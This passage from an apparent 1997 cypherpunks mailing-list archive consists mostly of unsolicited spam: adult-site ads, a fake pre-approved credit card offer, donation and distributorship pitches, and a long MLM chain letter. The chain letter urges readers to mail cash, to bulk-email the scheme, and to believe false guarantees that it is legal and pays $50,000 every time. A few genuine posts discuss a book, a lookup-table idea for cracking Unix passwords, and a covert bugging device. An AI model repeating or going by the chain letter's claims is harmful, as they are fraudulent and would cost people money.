webmaster's email, and then send a letter begging and pleading with the 
owner to trade 1 link. This is time intensive, and downright 
embarrassing. A person can join Sexswap in 3 minutes and begin 
accumulating FREE banner advertising for his/her site. No more searching, 
begging, or link verifying.

3 Banners! Not text-links
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Link-trades do get clicks, but banner-trades get more clicks and produce 
clicks of a more potent nature. The problem with trading banners is, your 
page eventually looks like freakin' circus after 4 or 5 trades. You can't 
trade banners endlessly since page real estate is at a premium, bandwidth 
is expensive, and surfers don't want to wait 17 minutes for your page to 
load. With the Sexswap code, your page gets one banner that changes with 
each load. You will be trading banner spots with hundreds of sites, yet 
only using one simple banner spot.

4 No java to bomb browsers
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Pyramids, consoles, and circle-loops...they are all brilliant creations, 
but many of them are written in Java, and many of them bomb your 
customer's browsers. 70-90% of the market uses Netscape and Internet 
Explorer, but there is still a segment of the population using rarer, or 
older browsers. 10%-20% isn't huge, but it is enough to make a dent in 
your pocket book. A bombed customer does not click on a link and does not 
make you cash. Sexswap is written in good old C++, a man's programming 
language,) fast and stable.

5 No side effects
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Pyramids, Consoles, and circle-loops all tend to advertise themselves, 
rather than your site. A fresh sew surfer can easily be lured away from 
your site when encountered by these new fangled advertising devises. 
Aesthetics...have you ever seen a console that made your page look 
better? Page-load times...these tricky java programs can slow down your 
page, and slowness can mean less surfers and less clicks. Sexswap 
requires only one simple banner be placed on your page. We even use our 
bandwidth to load the banners 

6 Real-time statistics
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap offers the following stats in real-time formats
Number of ads your site has shown: 
Number of times your ad was shown: 
Number of visits to your site: 
Click-thru ratio: 
Number of credits you have: 0 (2 credits = 1 ad display)

7 GIF - JPG - Animated GIF all supported
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sexswap can use any of the big three banner formats. Many of our 
competitors do not allow animation...we love animated gifs. The banner 
requirements for Sexswap are 468x60, less than 15k in size. The banners 
on excite and infoseek also follow this standard format.

8 Ultra Fast Servers
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
The tech boys asked us to include the following info about our 
servers...the boys were talking fast, so please excuse any spelling 
errors...Tiam Tomcats with true Pentium Pro 200's, 128 ram, Dual 3 gig 
IDE w/2 controllers, 2 cards, 2 drives for redundancy, 100mb switch 
cards, Netscape Commerce, Sysco 7513 Base DAC Sincillians fiber optic to 
backbone, connected to 6 DS-3 bandwidth on demand, going to 9+ DS-3's in 
October. The tech boys say this means Sexswap is fast and has the power 
to grow at an fast rate.

You can join Sexswap at 
http://www.sexswap.com

Do it today and get your banner shown around the world within 3 minutes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 84465615@10081.com
Date: Sat, 12 Jul 1997 17:52:58 -0700 (PDT)
To: friend@public.com
Subject: 5 FREE XXX Streaming Videos...
Message-ID: <109129.836@jumbo.com>
MIME-Version: 1.0
Content-Type: text/plain


Our research indicates the following information is of interest to you. If you prefer NOT
to be on this mailing list, please let us know, and you will be promptly removed.

GRAND OPENING !!!

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http://www.fleshgrotto.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: q2ds@q2dsuv.net
Date: Sat, 12 Jul 1997 17:52:05 -0700 (PDT)
To: Friend@inter.net
Subject: Just For You !!!
Message-ID: <81567042_11433757>
MIME-Version: 1.0
Content-Type: text/plain



******************************************************
      TO REPLY: SEE BOTTOM OF THIS PUBLIC NOTICE.
                " DO NOT PRESS REPLY "
******************************************************

  $ ***************$500.00 A DAY !!*************** $

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This IS the easiest way to make $500.00 A DAY !!

I know that you are probably skeptical. This is natural
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But let me ask you one question:  What if everything I
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By sending for my materials, I will reveal exactly what
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(916) 852-0886

Mail To:

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Please Include:

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Your E-mail______________________________________


This is a SPECIAL INVITATION and a LIMITED OFFER!!!

To be REMOVED from mailing list, E-mail:
carproinc@cyberpromo.com and type REMOVE in subject.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: david378eh@juno.com
Date: Sat, 12 Jul 1997 17:52:06 -0700 (PDT)
To: Friend@public.com
Subject: Hey Robbie, look what I found.
Message-ID: <199707120026.AAA24655@escape.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>

You have got to check out this awesome 
web page I found!!!

      http://207.247.5.82/2449

<A HREF="http://207.247.5.82/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>

[ you must be over 18 years of age to access it.  :) ]














































</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@iq.org
Date: Fri, 11 Jul 1997 12:21:23 -0700 (PDT)
To: humbles@new.co.za
Subject: Re: Underground extract: System X
In-Reply-To: <199707111910.VAA27565@sky.new.co.za>
Message-ID: <19970711192051.2426.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain


> > Anyone read this book? Apparently the first in-depth investigation
> > into the international computer underground to come out of the
> > Southern-Hemisphere - or so I'm told ;)  - J.A
> > 
> > Extracts from Underground - The true nature of System X
> > 
> >   Extracted from Chapter 10 - "Anthrax - The Outsider"
> >   
> >    Note: System X's name has been changed for legal reasons.
> >    
> 
> Do you know where I could get the full version of this book.
> Thanks 
> Dale
> E-Mail:  humbles@new.co.za

Try www.underground-book.org/order.html

Cheers,
Julian.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sol98hy7g@willy.kneehill.com
Date: Sat, 12 Jul 1997 17:41:51 -0700 (PDT)
To: Friend@public.com
Subject: Hey Danny, look what I found.
Message-ID: <199707121803.MAA03217@willy.kneehill.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ffff00" SIZE=5><B>You have got to check out this awesome 
web page I found!!!<A HREF="http://207.247.5.82/2449">
CLICK HERE TO GO TO THE WEB PAGE !!! </A>
<FONT  COLOR="#000000" SIZE=3>
<FONT  COLOR="#c0c0c0" SIZE=1>[ you must be over 18 years of age to access it.  :) ]



















































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: trump@foursssst.com
Date: Sat, 12 Jul 1997 18:23:43 -0700 (PDT)
To: you@internet-wide.com
Subject: Your mail sent to me by mistake.
Message-ID: <199707130109.CAA09234@frog.>
MIME-Version: 1.0
Content-Type: text/plain









Did you know that as many as 70% of all Americans have 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: buyguy222@erols.com
Date: Sat, 12 Jul 1997 21:23:22 -0700 (PDT)
To: exchange77@aol.net
Subject: Int'l High School Exchange
Message-ID: <65724882_64764806>
MIME-Version: 1.0
Content-Type: text/plain



Have you ever thought about having a high school student from another
country come and stay with your family?  Chances are you have.  You
may have had a neighbor that "hosted" an exchange student.  Or your
child may have talked about the foreign student that was staying with
a friend of his.  But you may not have known how to bring this
experience into your home.

Pacific Intercultural Exchange (P.I.E.) has been matching high school
students with American host families for more than 20 years.  Since
1975, our experience and expertise has enabled us to bring together
more than 18,000 families from across the United States with students
from around the world.  These students, screened and prepared by our
overseas counterparts, come anxious to share their cultures with
American families, families just like yours.  Imagine sharing your
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to experience an American Halloween for the first time?  Can you
picture the expression of wonder that will fill the face of a child
when he witnesses the spectacle of an American Christmas in your
hometown?

P.I.E., a program designated by the United States Information Agency
and listed by the Council on Standards for International Educational
Travel, is prepared to assist your family in making this dream a
reality.  Our staff is working hard to match students from around the
world with host families in time to start the new school year this
August.  These students, who are between the ages of 15-18 years old,
will attend the local public high school.  Our program provides full
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To learn more about hosting opportunities with P.I.E., please visit
our web site at: http://www.pieusa.org   or Email us directly at
INFO@PIEUSA.ORG







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 15 Jul 1997 01:02:55 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fuck the Usenet Cabal
In-Reply-To: <836q0D18w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970713111822.728B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> ObCrypto: I was offered a 76GB changer for $350.  I thought of the following
> demo application: a user e-mails a piece of a Unix passwd file (password+salt)
> to a server, which looks up a password that works.  Problem is, 76GB doesn't
> seem sufficient for the lookup table. :-( (Assume infinite time available
> on a fast box.)

I have to confess ignorance over the form of the password in the unix 
passwd file, how much salt is used, does it vary from ?nix to ?nix or is it 
pretty standard? Maybe a small(ish) lookup table/ dictionary attack could 
be mounted using this.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: a54@ourlocation.com
Date: Sun, 13 Jul 1997 15:16:51 -0700 (PDT)
To: D34@juno.com (MADCUM.com)
Subject: credit card
Message-ID: <199707132209.PAA07732@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain








Cash advance:   Yes			Approval number:	000-5467001
Credit limit:         $3000.00			Approval Expires:	08/01/97	
Credit provider:  Morningstar Ent.	                Bank Affiliation:        None	
Card Issued:      Morningstar Card  	                Member Status:       Pending	
Annual Fee:       None			APR:		17.99%


Dear Future Cardholder,

Congratulations!  You have been approved for a  $3,000.00 Unsecured credit line from 
the financial card division of  Morningstar Enterprise regardless of your past credit history. 
Your approval number is 000-5467001 and your approved credit amount of $3000.00  for 
credit purchases and cash advances will be available once you receive your Morningstar 
card! There is No security or money deposits Required! For more information on how to
 receive  your Morningstar card Visit our web site at:

 http://www.ourlocation.com/morning









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OPPORTUNTIES@earthlink.net
Date: Sun, 13 Jul 1997 21:54:31 -0700 (PDT)
To: FRIEND@sweden.it.earthlink.net
Subject: OFFSHORE CREDIT CARD,WE'LL PAY YOU IF YOU DON'T QUALIFY!
Message-ID: <199707140453.VAA23652@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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If this message has reached you in error,please accept our apologies for the intrusion.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freetryit@hotmail.com
Date: Sun, 13 Jul 1997 21:49:27 -0700 (PDT)
To: freetryit@hotmail.com
Subject: adults only
Message-ID: <18725478612534@gateway1.24hrplaymates.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: flashflood@flashflood.com
Date: Mon, 14 Jul 1997 00:22:23 -0700 (PDT)
To: flashflood@flashflood.com
Subject: "Support Sumbersible Technologies"
Message-ID: <199707141010.GAA27584@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain



                                     "There Is Something Every American Can Do"
                                   Help Develop Our World And Make A Difference 

                    "SUPPORT THE  FUTURE OF SUBMERSIBLE TECHNOLOGIES"

                                       "We Need Your Help To Make This Happen"

                                                       Straight  to  the  point!

We Need donations to continue our development research.  We are a group of private sector inventors and we need Money! The Tri-Pyramidal and Bi-Pyramidal building block a 21st Century Breakthrough needs your help! We're on to something big, I mean huge, and your donation will help to achieve the development of this breakthrough. It's a building block for our oceans.  A structure that will allow mankind to develop Freely our oceans, like never before. Recreation will take on a whole new dimension and people will flock to the seas in delight of the experience and stand mystified by what they see. Earth's Oceans will take on a new meaning with the changes this development will bring. 

My name is  Kenneth Welch. I'm an Inventor in Houston Texas, asking  for your help and donations to make sure that this discovery does not get lost, or even worse, pushed aside like so many other good inventions kept away from the American public by big business rigmarole or weak investor support. Send a dollar, send five dollars, send five hundred!  Whatever you can to make a difference in the development of this Globally  friendly technology. 

Global Oceanic Designs Ltd. (Global), a California limited partnership, has spent the last ten years leading the development of  this alternative to safe sub-sea structures, the Tri-Pyramidal and Bi-pyramidal Structural Hulls. These dynamic hull designs list a multitude of uses, extending from deep within our oceans as small or large submarines, to far out in space as little satellites or as massive space stations. Don't let this technology  be passed over. Remember you can make a difference!
 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: autosavr@albany.net
Date: Mon, 14 Jul 1997 09:20:52 -0700 (PDT)
To: autosavr@albany.net
Subject: Subj:  Kiwanis Club Update (7/97)
Message-ID: <199707141620.JAA01216@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail News Service (E.N.S.) of Clifton Park, NY USA

Top Story: Clubs Are Making Big Bucks With
The Kiwanis Car Care Fund-Raising Program!

--- Kiwanis clubs all over the country are signing up to participate
 in one of the most profitable fund-raising programs around!  
The Kiwanis Car Care Fund-Raiser is a fully licensed Kiwanis 
fund-raiser, and produces unbelievable profits for clubs of all sizes.
    The Kiwanis Car Care Fund-Raiser is able to reach over 
231,000,000 car owners, all of which want to keep their cars
 looking new.  Your club can get started right away by calling 
1-800-724-8155, or by looking up
 http://www.albany.net/~autosavr/kiwanis on the World Wide Web.

Related News: Kiwanis Car Care Manufacturer Has Over 9 
Successful Years In The Automotive Appearance Business!

--- The manufacturer of the Kiwanis Car Care Fund-Raiser is 
AutoSaver Systems, located in Clifton Park, NY.  They have 
been in business for over 9 years, providing high quality automotive
 appearance products to car care professionals world wide.
    "We started our company a while back, and turned it into a 
success.  We're confident that we can provide the same level of 
high quality products for Kiwanis, and help them become successful 
at fund-raising.  Any Kiwanis club, in any area of the country can raise 
money for their community with the Kiwanis Car Care Fund-Raising 
Program..."  - Warren Camp, President of AutoSaver Systems
    AutoSaver Systems provides factory direct convienence and 
pricing (no middlemen).  The Kiwanis Car Care Fund-Raiser is 
competitively priced with similar store bought products, and literally has
 "Kiwanis" written all over it!  For full details, check out their web site at
http://www.albany.net/~autosavr/kiwanis or by calling 1-800-724-8155.

    If you have received this message in error, and are not affiliated with 
Kiwanis, send mail to autosavr@albany.net and type "REMOVE" in the 
subject heading.  This will remove you from the E.N.S. news list.

E.N.S. of Clifton Park, NY USA
July Edition 1997
                  Kiwanis Members Only




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List1 <list1@maxpol.com>
Date: Fri, 5 Sep 1997 21:25:09 -0700 (PDT)
To: list1@maxpol.com
Subject: Read This Twice!!
Message-ID: <199707141441.KAA07534@maxpol.com>
MIME-Version: 1.0
Content-Type: text/plain



    Read This Twice!!

The following opportunity is one you may be interested in taking a
look at.  It can be started with VERY MINIMAL outlay!

Read the enclosed program...THEN READ IT AGAIN!...

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '96 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. I could invest
 as much as I wanted to start, without putting me further in debt.  After I got 
a pencil and paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off.

A good  email extracting and mass mail program can be found at:
http://www.colba.net

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson


"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

HERE'S HOW THIS PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe
me, many people will do that and more!  By the way, your cost to participate
in this is practically nothing.  You obviously already have an Internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY

It does not require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

 Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the Internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

MaxPol.com
C.P. 503
St-Jean-sur-Richelieu
QC, Canada  J3B 6Z8
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

ESB Comm
1213 D University Terrace
Blacksburg, VA 24060
________________________________________________________
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:

Generation X Communications
216 Janie Lane
Blacksburg, VA 24060
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

LaChance Information Systems
PO Box 308
Placida, FL  33946-0308
________________________________________________________


Very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!


Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.      Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to send them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James M. Atkinson, Comm-Eng" <jmatk@tscm.com>
Date: Mon, 14 Jul 1997 22:07:24 -0700 (PDT)
To: TSCM-L@tscm.com
Subject: Spread Spectrum Update
Message-ID: <v03110703aff0403d453d@[205.161.57.127]>
MIME-Version: 1.0
Content-Type: text/enriched

===========================================
TSCM-L Technical Security Mailing List
Monday, July 14 1997

Postings:           TSCM-L@tscm.com
Unsubscribe:   unsubTSCM-L@tscm.com
Subscribe:       subTSCM-L@tscm.com
Admin:		     jmatk@tscm.com
===========================================


Several weeks ago I had a chance to examine a number 
of spread spectrum microwave bugging devices.

Since that time I've conducted some analysis and
gathered further intelligence on the circuit.

Here are a few of my observations.


=======  C O N F I D E N T I A L  ========


1) Most of the products use a high bandwidth QPSK/BPSK
modulator, multi channel audio CODEC, and a RISC
micro-controller chip (all components are either
surface mounted ICs or multiple dice potted in epoxy).

2) RF Circuit seems to be a simple homodyne audio
transmitter (6 Ghz Gilbert Cell Mixer) which is driven
by a single CPU/microcontroller (with a clock speed of 180 Mhz).

3) Frequencies used for the ultra low power device are
clean from 130 Mhz to 4 Ghz, circuit starts to fail
above 5.5 Ghz (but is still operable to about 8 Ghz).

4) Emitter is driven directly from vector modulator chip,
with no power amp circuits. PIN diode found on output
appears to provide gain control or disconnect of
circuit, but provides no amplification of signal.

5) Noise floor of circuit is -135 dBm (below 2 ghz),
-142 dBm (2-4 ghz), and -150 dBm above 4 Ghz.

6) Signal has a variable bandwidth which varies between
350 Mhz and 900 Mhz. Appears to be designed for a 
900 Mhz bandwidth signal. Device operates "deep" inside 
the noise floor. 

7) Virtually impossible to detect at close range with a
conventional RF spectrum analyzer (492/494/8566/etc).

8) Detectable with most wideband systems (with IF BW
above 300 - 900 Mhz, 700 Mhz ideal).

8) VCC = +3.0 VDC, all circuits functional 2.3 to 6.8 VDC

9) Output applied to PIN diode ranges between -28 and
-42 dBm (depending on frequency and span)

10)  Device enters some type of sleep mode when power
is present but audio level is low (seems to auto
squelch). Total current draw when in sleep mode is 12
µA. Device does not emit RF energy when in sleep mode.

-------------

11) One of the devices has no type of connection for
external power, but instead uses a uses a network of
Schottky diodes and capacitors which constitute an
effective RF to DC converter.

12) The RF to DC circuit requires an un-modulated 10-15
Ghz RF signal, and seems to respond well to X-Band
microwave motion detectors used for many corporate
alarm systems.

13) Device also has a small microphone built onto the
circuit, microphone measures 4.5mm * 1.6mm * 4.1mm.

14) Entire device measured 3.2 cm * 5.2 cm and about 3
mm thick (or about the thickness of a standard
business envelope).

15) Device contains some type of adhesive on both
sides of a foil backing. Suspect it's applied as some type
of "sticky label". Once the device is installed any 
attempt to remove results in its total destruction 
(unless you freeze it off).

16) The French government has been know to use a 
similar device in some of its "Diplomatic" activities.


-jma

========================================================================
"For those who risk, life has a flavor the protected shall never enjoy."
========================================================================
James M. Atkinson                                 Phone: (508) 546-3803
Granite Island Group - TSCM.COM
127 Eastern Avenue #291                           http://www.tscm.com/
Gloucester, MA 01931-8008                         jmatk@tscm.com
========================================================================
The First, The Largest, The Most Popular, and The Most  
Complete TSCM Counterintelligence Site on the Internet
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 61766626@onestopshop.net
Date: Mon, 14 Jul 1997 20:45:01 -0700 (PDT)
To: PublicInfo@yourinfo.com
Subject: Try us FREE with $10.00 Long Distance...9.9 Cents per Minute!
Message-ID: <imsco@onestopshop.net>
MIME-Version: 1.0
Content-Type: text/plain



STOP PAYING TOO MUCH FOR LONG DISTANCE!

FREE $10.00 Long Distance for giving us a try!

Click REPLY to get the details.  Please place "9.9 cents" in the subject field.


Here are some of the services available:


1)  Flat rate of 9.9 cents per minute Long Distance!

2)  17 cents per minute Calling Card Rate/No sur-charges!

3)  1-800 service 

4)  Internet Service 

5)  Keep Reading!  Making money is optional!


WE NEED DISTRIBUTORS!

Just by subscribing to our service, you can make great money literally giving people 
$10.00 of FREE LONG DISTANCE!  

You're automatically in business for yourself!

Great ONLINE MARKETING PROGRAM!

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**Distributorships are an optional feature of our program and their is no extra
 charge to qualify for commissions**

Click Reply to get the details.  Please place "9.9 cents" in the subject field.

To be removed from our mailing list, place "remove" in the subject field.







